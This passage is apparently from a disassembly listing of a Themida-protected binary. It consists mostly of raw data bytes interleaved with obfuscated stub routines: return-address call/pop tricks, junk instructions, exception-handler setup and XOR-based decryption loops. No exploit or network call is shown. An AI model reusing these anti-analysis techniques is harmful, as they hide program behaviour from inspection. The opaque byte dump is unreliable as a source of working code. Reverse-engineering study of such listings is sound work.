dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 712CBCAAh, 0A9A173C1h, 29609DDAh, 12265995h, 0C397BB06h dd 66617C3Bh, 94D8E781h, 0F136858Dh, 6A0616h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66DA42C3h dd 0D8FEDF81h, 0E905C083h, 11h, 9A78AAB1h, 31B470EFh, 0D42C71h dd 0A527F096h, 6051909Fh, 6EED9EB8h, 13E919h, 51190000h dd 5C736670h, 80DC81A8h, 0BF329011h, 0EB9372Ah, 505F6134h dd 0CE850h, 1F200000h, 0C295F1B6h, 4AFBE19Ah, 5F5B560Fh dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 6DED502Ah, 8B6BBB77h, 1218F1BDh, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 45C5C353h, 6AACB3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0EC35545h, 95FFCA81h, 6120DB5h dd 2F9DBD01h, 8D8D0612h, 615AF02h, 19810Fh, 0DE80000h dd 0BF000000h, 8951F090h, 15FD2326h, 263377D5h, 1BA5BD8Bh dd 0FF5B0612h, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 81CD2D42h, 902AB9EBh dd 0BB1BB6Eh, 0BD8344A3h, 61207ADh, 89850F01h, 89000000h dd 1206B58Dh, 6A026A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 1644C357h, 9810007Eh dd 840F90EFh, 8, 820F56h, 5B000000h, 217BBB50h, 0E8901489h dd 0Bh, 5F6C5A77h, 0EE552D1Ah, 0FA7F371h, 68Bh, 0D8D8900h dd 5F061223h, 6A595FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h dd 180424h, 53430000h, 1E8B41C3h, 0B509A258h, 61213ADh dd 0C47E9h, 0E800h, 815D0000h, 16F140EDh, 25BD8906h, 6A06120Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0F99C350h, 800FFFB7h, 6, 1C999529h, 858D0612h dd 6159437h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 9FC35141h, 0D78166F2h, 0B5897899h, 6122B19h, 5F7228BBh dd 890F9015h, 7, 0CF8B6660h, 5061D38Ah, 36FABB60h, 820F2C7Eh dd 0 ; --------------------------------------------------------------------------- popa nop push 0 push eax call sub_595BE9 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595BE9 proc near ; CODE XREF: Themida_:00595BE1p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_595BE9 endp ; --------------------------------------------------------------------------- sbb eax, 64C53D34h push large dword ptr ds:0 jmp loc_595C0F ; --------------------------------------------------------------------------- db 0ECh, 0BEh, 75h db 0EDh, 80h, 38h ; --------------------------------------------------------------------------- loc_595C0F: ; CODE XREF: Themida_:00595C04j mov large fs:0, esp inc dword ptr [ebp+6120679h] mov di, cx push 0FFFFFFFFh mov ebx, 3457F2F4h push dword ptr [ebp+6122C81h] push 0 push eax call sub_595C37 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595C37 proc near ; CODE XREF: Themida_:00595C2Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_595C37 endp ; --------------------------------------------------------------------------- cmpsd mov bl, 24h pop ebp mov ebx, 398A0692h call dword ptr [ebp+6122CB5h] jmp loc_595D7C ; --------------------------------------------------------------------------- db 0E8h dd 0Bh, 282F08F8h, 0B8322B28h, 0E95E2DADh, 0Bh, 518D3B80h dd 0D74FA99Ch, 5F3053C6h, 0FB8B00B0h, 0E4F970E6h, 0A5BD8B71h dd 3C061219h, 0E9830F61h, 8B000000h, 122BD9BDh, 0C8B60F06h dd 8F1ECB81h, 6BA3B82h, 9000000h, 121AE185h, 8BC18B06h dd 121161BDh, 4E8C106h, 0FE2F766h, 28Dh, 2BDF8B00h, 10E9C8h dd 0BD8C0000h, 0E51A27FFh, 7112863Ch, 112B5DCFh, 0D18B5929h dd 0E9FAB70Fh, 98h, 9E9h, 0BA36A700h, 5D606440h, 0BD036306h dd 6120E59h, 4858Bh, 0CE90000h, 63000000h, 3BAF3A65h, 55AD6B2h dd 83DA4456h, 8B6607C0h, 0C083D9h, 1525BD29h, 0BD030612h dd 6122C59h, 830FD03Bh, 1Ch, 6E8h, 89CB8300h, 296ABCE8h dd 120CADBDh, 39E95B06h, 0BB000000h, 43FF9002h, 0FFFF8D8Bh dd 0B531FFFFh, 6122BF5h, 0F01E183h, 1F84h, 83DF8B00h, 0FFFFFFA5h dd 0BD89FEFFh, 61210B1h, 49589h, 81660000h, 0E9A86FEFh dd 0 ; --------------------------------------------------------------------------- loc_595D7C: ; CODE XREF: Themida_:00595C56j lea esi, [ebp+616691Fh] mov bx, di push 0 and bl, 0A7h call dword ptr [ebp+61219CDh] pusha jo loc_595D9D sub [ebp+6121DC5h], ecx loc_595D9D: ; CODE XREF: Themida_:00595D91j pusha mov dx, si jmp loc_595DAF ; --------------------------------------------------------------------------- dec ebp sub al, 90h mov edi, 0C1424814h loc_595DAF: ; CODE XREF: Themida_:00595DA1j popa popa mov ecx, 1008h jmp loc_595DC4 ; --------------------------------------------------------------------------- db 91h dd 0E4F8928Eh, 0BD03D24Ah ; --------------------------------------------------------------------------- loc_595DC4: ; CODE XREF: Themida_:00595DB6j and ecx, 0FFFFFFFCh push 0 push esi call sub_595DD2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595DD2 proc near ; CODE XREF: Themida_:00595DCAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_595DD2 endp ; --------------------------------------------------------------------------- dw 9925h dd 9D0B55F8h, 8CAD1167h, 9BDB8166h, 0D5BD8B2Fh, 0FC061222h dd 0B8FAB70Fh, 0 dd 0BA62E380h, 0 dd 9E8h, 0B7CBF00h, 0B82C153Ah, 8E81097h, 47000000h, 63FC1642h dd 890EEEA8h, 120E9185h, 0AD5F5B06h, 0E8D1C233h, 0E983D003h dd 1F47504h, 1210E1B5h, 68E0F06h, 29000000h, 121D7D95h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0A436C9B9h, 81D5DE1h, 880D5Ah, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 9B76FEC3h, 6D8D89h, 958B0612h, 61209A1h, 0CE86CF81h dd 8D8B0F28h, 6120505h, 1BA59D8Bh, 8B500612h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0F5C35343h, 2EDA9009h, 2BEBD2A2h dd 6DBF6697h, 21BD83E9h, 61221h, 7C840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0B8F101C3h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_595F23 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595F23 proc near ; CODE XREF: Themida_:00595F1Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_595F23 endp ; --------------------------------------------------------------------------- db 0FDh dd 0AD4C44F0h, 8D8DFA8Bh, 6124DB5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 19C35040h, 88DC0969h, 8589C9D2h dd 6122D7Dh, 0E1FFF88Ah, 17E19D89h, 0BD830612h, 6121BD9h dd 0BD840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0E67BC351h, 1BD9BD83h dd 0F010612h, 3AE84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 89344936h, 0D9BD8303h dd 306121Bh, 34B860Fh, 7E80000h, 0A5000000h, 823AC63Ch dd 0BD29C932h, 6121B09h, 6A605Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0D3F7EEC3h, 0FEB70F20h dd 0F98B6653h, 0D98C665Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 53C35747h, 62011884h, 0E1809873h, 13E804h dd 69E20000h, 0EC1CFFACh, 0F2BF4A0Bh, 0A7CE44BAh, 4458E050h dd 99B58974h, 5F061208h, 840FC90Ah, 11Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0AEC35747h, 5BD61584h dd 51394387h, 0CDBD8B90h, 8B061209h, 12308D85h, 0BDBB6606h dd 6585332Bh, 6A061231h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 6029C357h, 73BF6628h dd 0DBB70FFDh, 0E9606090h, 9, 573D7E7Dh, 2BAC35D6h, 61C18B86h dd 0BE9h, 800E8D00h, 8FF74A53h, 4F56DE6Ah, 0DFBB5061h dd 9028DB19h, 8B006AFCh, 121EB59Dh, 4F6806h, 34811BA9h dd 0B603B024h, 53006A1Bh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 17CB314Eh, 0FB93D83Ch dd 237995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 1D5FA5C3h, 0C5852982h, 89061203h dd 15C81285h, 74E38006h, 135E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 858B38ADh dd 615C80Ah, 0C7D9B70Fh, 1800h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 18BA9E7Fh dd 8C91A267h, 0DFBB5751h, 5F6848E1h, 0EB58B5Fh, 6A0615C8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 4F76C351h, 7995095Ah, 8B061204h, 122AB985h dd 89DA8B06h, 0EF816606h, 0BD015763h, 6121D7Dh, 308D858Bh dd 81660612h, 669B0CCFh, 89BA86BFh, 6A0446h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0A5DD8EC3h dd 68488ADDh, 17359D8Bh, 66500612h, 3489D98Bh, 0FFC2B724h dd 15C80AB5h, 59852906h, 68061216h, 63A0B463h, 9C243481h dd 8B63BFB7h, 1230F1BDh, 12858D06h, 310615C8h, 1223C19Dh dd 48B35006h, 0FF240489h, 12237995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0FE480086h dd 0F6D3610h, 6A61D9BFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 5AB6C355h, 0D985C765h dd 306121Bh, 0BB000000h, 5E427240h, 0C812BD83h, 0F000615h dd 5484h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0DD60E45Eh, 26A0F657h, 0C88160C4h dd 1787442Bh, 11E8h, 0BBB0CB00h, 0B90C6982h, 0E61DDB45h dd 47FA1FB4h, 615E4563h, 1D918589h, 21E90612h, 23000000h dd 120D89BDh, 0C305006h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 19C35747h, 44025A95h, 2E7C34D6h, 3258531h dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8B3EE1C3h, 0D9BD83F8h, 306121Bh, 3AA850Fh dd 83F90000h, 15C812BDh, 840F0006h, 39Ch, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 0F8C35040h, 5B91AB57h dd 0FA2B5098h, 2D9509FBh, 0FF06120Eh, 15C812B5h, 79BD8B06h dd 0FF061217h, 121AA995h, 9DCB8106h, 8B1E8ACBh, 15C806B5h dd 0C7A7B306h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0E3813900h, 0B5956DEh dd 50DE8B66h, 0DE8h, 6C07EC00h, 1C5CA77Ah, 7189829Bh, 0B9BF9C94h dd 5F71ECABh, 66243489h, 0B5FFFA8Bh, 615C812h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6BC35343h, 95FFED97h dd 6121C05h, 2658D781h, 9D8B014Bh, 6122F69h, 0C806B58Bh dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 36F8A4C3h, 0A5858B85h, 6A061201h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 8D9C352h, 23DE43F6h, 1221919Dh, 0C4868906h, 33000000h dd 12096D9Dh, 0A1958B06h, 6A061209h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89B2C352h dd 1210E1B5h, 4C28306h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0EBC35242h, 0EC75106h, 0BDBD8B7Ah, 0E806121Fh dd 0Ah, 0EAF33E03h, 0F2CBB6E9h, 0BB6690EEh, 895B2DC3h dd 8DF82050h, 15DC6F85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 395BE0C9h, 20519D33h dd 9D890612h, 6120985h, 0B88689h, 0D3810000h, 18A0167Eh dd 860F006Ah, 5, 71C545BBh, 12B5FF19h, 8B0615C8h, 12311D9Dh dd 0A595FF06h, 6A061206h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 2EDEC352h, 96FBB2DEh dd 0D88B6650h, 0EE85396h, 0AB000000h, 6FCEFC93h, 2B6ECD77h dd 105DF2C8h, 12E81Fh, 0CF640000h, 9CBEB596h, 322A20ACh dd 0E7A33AA1h, 6D25F34h, 0B35B5F5Fh, 12B5FF4Eh, 0E90615C8h dd 5, 0B557A2A5h, 8195FFC5h, 6A061202h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 4895C353h dd 5030FCFDh, 2A09BD83h, 0F000612h, 2A84h, 0DEB70F00h dd 85BF6696h, 890F50E5h, 15h, 10E9h, 79C1B700h, 0F4DA1608h dd 4D590CAh, 0E8F3A478h, 24BB9676h, 0FF393F76h, 15C812B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0B8799179h, 0AD82975Ah, 9595897Fh, 0FF061202h dd 1218C195h, 718D0106h, 0FF061218h, 15C812B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0B6FB6DE9h, 5B4B4C5h, 31559589h, 810F0612h, 5, 9539A3BBh dd 0A195FF49h, 0E906121Bh, 8, 55E08388h, 1280C743h, 3759D03h dd 0BD830612h, 6121EB1h, 1D840F02h, 0B000000h, 1219D5BDh dd 0A5858B06h, 80061203h dd 9D8B74F7h, 6121AF1h, 500000C6h, 5BDAB70Fh, 1B5985C7h dd 612h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 6130F3C3h, 0BD296567h, 6120975h dd 0FFF4A6E9h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0C18B072Eh, 2E01858Dh dd 66900612h, 504F77BFh, 0F0E6BF66h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 253057F7h dd 6A26D940h, 745BB00h, 6A1641h, 8E9h, 64136900h, 4A583615h dd 43858DCEh, 520616FFh, 3958529h, 835B0612h, 6A05C0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 9FE8D2C3h, 0D34FBBDFh, 0FE8167Fh, 49000000h, 0CFB63500h dd 0A94B748h, 2317184Ah, 295297BCh, 122AD18Dh, 505F5B06h dd 489D98Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0BDCBE780h, 6AFD3894h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 6929C187h, 39BB2079h, 8B2BE17Fh, 122259BDh, 6A006A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 424BC355h, 0B595FFF5h, 0E906120Dh, 0Bh, 0CFC9B029h dd 2E7F4525h, 8D4153ADh, 15AF028Dh, 0FE8B6606h, 6AD1FFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 92C93DC3h, 9D8B34F9h, 61229D1h, 7ADBD83h, 0F010612h dd 5C85h, 35BD8B00h, 6A061205h, 8B666002h, 61DA8BC7h, 0F88B6650h dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 991DC356h, 0A595FF40h, 6A061206h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 89D7C355h, 122CB9BDh, 0C88E906h, 0E80000h dd 5D000000h, 0FF4DED81h, 6A0616h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 837EEBC3h, 0F977EB7Eh dd 33BB66E7h, 68BB6637h, 25958912h, 3306120Ah, 121F719Dh dd 699D8B06h, 8D061206h, 15943785h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 6DBFEBA6h dd 0EE8D8641h, 0BB665690h, 505B24A6h, 8E0F5250h, 2, 310FDF8Bh dd 10E9h, 2E94FB00h, 6855AF74h, 3B60D229h, 3DC3AC2Dh, 90585A8Ah dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0A675C357h, 0FFD74EB5h dd 8E9BE51h, 0B2000000h, 183F79Eh, 640D59DBh, 2589h, 0EF810000h dd 225D9F71h, 7985FFF8h, 6A061206h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 112AC356h dd 0D79BAF1Ah, 0FF6AA0B3h, 30CD9D8Bh, 0B5FF0612h, 6122381h dd 34FD8589h, 0B5890612h, 6122AE1h, 2CB595FFh, 0FAE90612h dd 8B000000h, 1226C59Dh, 8B00B006h, 121E29BDh, 6670E606h dd 0E451C5BFh, 3C47B371h, 0DA830F61h, 81000000h, 8A12D1C7h dd 0C8B60F4Fh, 1BC9BD29h, 0DB800612h, 6BA6Bh, 8B660000h dd 0FC18BF8h, 8166FFBFh, 0C1E595EBh, 0FE904E8h, 0C9000000h dd 0A06FA101h, 0FF003319h, 4754CB00h, 0F766002Dh, 2BF88BE2h dd 0B9BD29C8h, 6006120Ch, 20BD8589h, 61F90612h, 0B589D18Bh dd 6121441h, 7CE9h, 39950900h, 8B061204h, 4C4C4485h, 7C0835Fh dd 1D219D03h, 0C0830612h, 0D5BF6600h, 0FD03B6Dh, 0D83h dd 299D8B00h, 0E9061210h, 4Dh, 8D8BDE8Bh, 0FFFFFFFFh, 0D959D8Bh dd 0BB660612h, 0E1836D07h, 32840F01h, 31000000h, 12076185h dd 0FFA58306h, 0FEFFFFFFh, 0FE9h, 54517500h, 0D47DBAC5h dd 1A0F5E53h, 3C38EDBDh, 4C449589h, 0BD335F4Ch, 61217A1h dd 0E9h, 27B58D00h, 6A061679h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 89A5C351h, 6890F60h dd 9000000h, 122C7985h, 59BD8B06h, 61061204h, 2E39DF81h dd 6A376Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0E5C35242h, 95FF2A70h, 61219CDh, 0B983CF80h, 0FF1h dd 152DBD8Bh, 0E1830612h, 0B5BD03FCh, 0FC061200h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 10C35343h, 810055F7h dd 3445EEC7h, 0B80Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0BAFAEDC3h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_596C5B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596C5B proc near ; CODE XREF: Themida_:00596C53p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_596C5B endp ; --------------------------------------------------------------------------- rol dword ptr [edi+22h], cl jmp loc_596C87 ; --------------------------------------------------------------------------- db 9Eh dd 3F8876Ah, 76DAC823h, 0DFB8A45Fh, 57BD7484h db 56h, 66h, 9 ; --------------------------------------------------------------------------- loc_596C87: ; CODE XREF: Themida_:00596C6Ej ; Themida_:00596C91j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_596C87 push 0 push esi call sub_596C9E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596C9E proc near ; CODE XREF: Themida_:00596C96p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_596C9E endp ; --------------------------------------------------------------------------- xchg eax, edi db 66h clc mov [ebp+61221A1h], esi or eax, 88h push 0 push esi call sub_596CC7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596CC7 proc near ; CODE XREF: Themida_:00596CBFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_596CC7 endp ; --------------------------------------------------------------------------- sti wait push ebx aaa push 0F74023FBh mov edx, [ebp+61209A1h] mov ecx, [ebp+6120505h] mov edi, [ebp+61203C5h] push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax push 0 push ecx call sub_596D0F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596D0F proc near ; CODE XREF: Themida_:00596D07p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_596D0F endp ; --------------------------------------------------------------------------- pop ebx xchg eax, edi fnsave byte ptr [esp+edx*4-75h] popf adc [eax], edx adc al, [esi] add ebx, [ebp+6121F59h] push ebx mov di, ax pop edi cmp dword ptr [ebp+6122121h], 0 jz loc_596DAF push 0 push edi call sub_596D4D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596D4D proc near ; CODE XREF: Themida_:00596D45p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_596D4D endp ; --------------------------------------------------------------------------- db 0F7h, 0B5h, 0E5h dd 7E81A0Dh, 0B6000000h, 1930BB0Eh, 5F56CCA3h, 0B85Fh dd 8E90000h, 2B000000h, 809A7BEFh, 8DDCC96Fh, 124DB58Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 7985312Fh, 0FF06121Bh db 0E1h, 0B7h, 23h ; --------------------------------------------------------------------------- loc_596DAF: ; CODE XREF: Themida_:00596D3Cj cmp dword ptr [ebp+6121BD9h], 0 jz loc_5971C6 push 0 push edi call sub_596DC7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596DC7 proc near ; CODE XREF: Themida_:00596DBFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_596DC7 endp ; --------------------------------------------------------------------------- db 38h dd 0BD8308FFh, 6121BD9h, 0FA840F01h, 29000003h, 120065BDh dd 0D9BD8306h, 306121Bh, 3B1860Fh, 0E8F80000h, 11h, 99255B1Ch dd 9D0B55F8h, 8CAD1167h, 0BC494ECFh, 0CF8166F5h, 605B271Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6CC35040h dd 43AA2A48h, 21AB4772h, 663FB727h, 6AD98Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7FB844C3h dd 0BD8BB8FBh, 61203E9h, 6A04E180h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BFD2C353h dd 21772E44h, 840FC90Ah, 12Fh, 0CFA3BB66h, 308D858Bh, 6A0612h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0B80A32C3h, 2C7A4B55h, 8B5EB497h, 658533D9h, 0E8061231h dd 14h, 0F947B0E7h, 0C2565B97h, 0C79C471Dh, 0EC815893h dd 1E1A263Eh, 261BD89h, 505B0612h, 489D98Bh, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 9276575Dh, 70F458B0h, 0DA8BC883h, 0DFB7006Ah, 2A582068h dd 0D98B66AEh, 0DF240481h, 6051F4ABh, 20158D01h, 0B8660612h dd 0FF613047h, 12237995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 3AD4DEF8h dd 66D3E718h, 9D89FE8Bh, 612140Dh, 0C8128589h, 6A0615h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0D24B8DC3h, 9DA395Ah, 122F3185h, 95BD3306h, 0E9061217h dd 185h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 67C35747h, 11BD898Dh, 8B061218h, 15C80A85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 2AB86936h, 0E652F57Ah, 0E9FE8B33h, 0Bh, 0FA96CACAh dd 0D35825B8h, 0C7C14493h, 1800h, 85BD2300h, 8B061201h dd 15C80EB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0DA8634D0h, 8B32EE44h, 122AB985h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 619C8937h, 0BBAB919Bh, 0A59D8BFFh, 89061207h dd 0DBBF0F06h, 308D858Bh, 35BF0612h, 893C7391h, 6A0446h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 493202C3h, 0E850AD68h, 6, 9791EFA1h, 3CBF6183h, 5F70884Eh dd 0FF243489h, 15C80AB5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 5D9D29DDh dd 68061206h, 100AB1FCh, 0F88B6651h, 2434815Bh, 1015B203h dd 0BE9h, 54897F00h, 448B77BDh, 7BA8E6F9h, 0C812858Dh dd 0DB800615h, 77BF50CFh, 891FB167h, 95892404h, 6122F89h dd 237995FFh, 0EE90612h, 0DF000000h, 0F6C2992Fh, 0CCDD5F65h dd 0EC2B2286h, 6A6128h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 4EE157C3h, 85C7A54Bh, 6121BD9h dd 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h dd 0E0C35646h, 0F4819096h, 0C812BD83h, 0F000615h, 2E84h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 5B3C8876h, 9092EB81h, 1FE93418h, 66000000h dd 508430BBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h ; --------------------------------------------------------------------------- jmp short loc_5971FC ; --------------------------------------------------------------------------- loc_5971C6: ; CODE XREF: Themida_:00596DB6j ; Themida_:005971DDj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5971C6 jmp short loc_5971FC ; --------------------------------------------------------------------------- loc_5971E1: ; CODE XREF: Themida_:005971F8j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5971E1 jmp short $+2 loc_5971FC: ; CODE XREF: Themida_:005971C4j ; Themida_:005971DFj mov eax, eax push 0 push eax call sub_597209 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597209 proc near ; CODE XREF: Themida_:00597201p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_597209 endp ; --------------------------------------------------------------------------- db 0E6h, 89h, 8Dh ; --------------------------------------------------------------------------- sub [esi], esp adc al, [esi] pusha mov esi, ebx mov ebx, [ebp+61201B9h] popa push 0 push ecx call sub_597235 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_597235 proc near ; CODE XREF: Themida_:0059722Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_597235 endp ; --------------------------------------------------------------------------- db 1Ah, 9Dh, 60h dd 0B87F7F1Ch, 0DE9F0h, 0DDF20000h, 7AB50A61h, 0DD303F76h dd 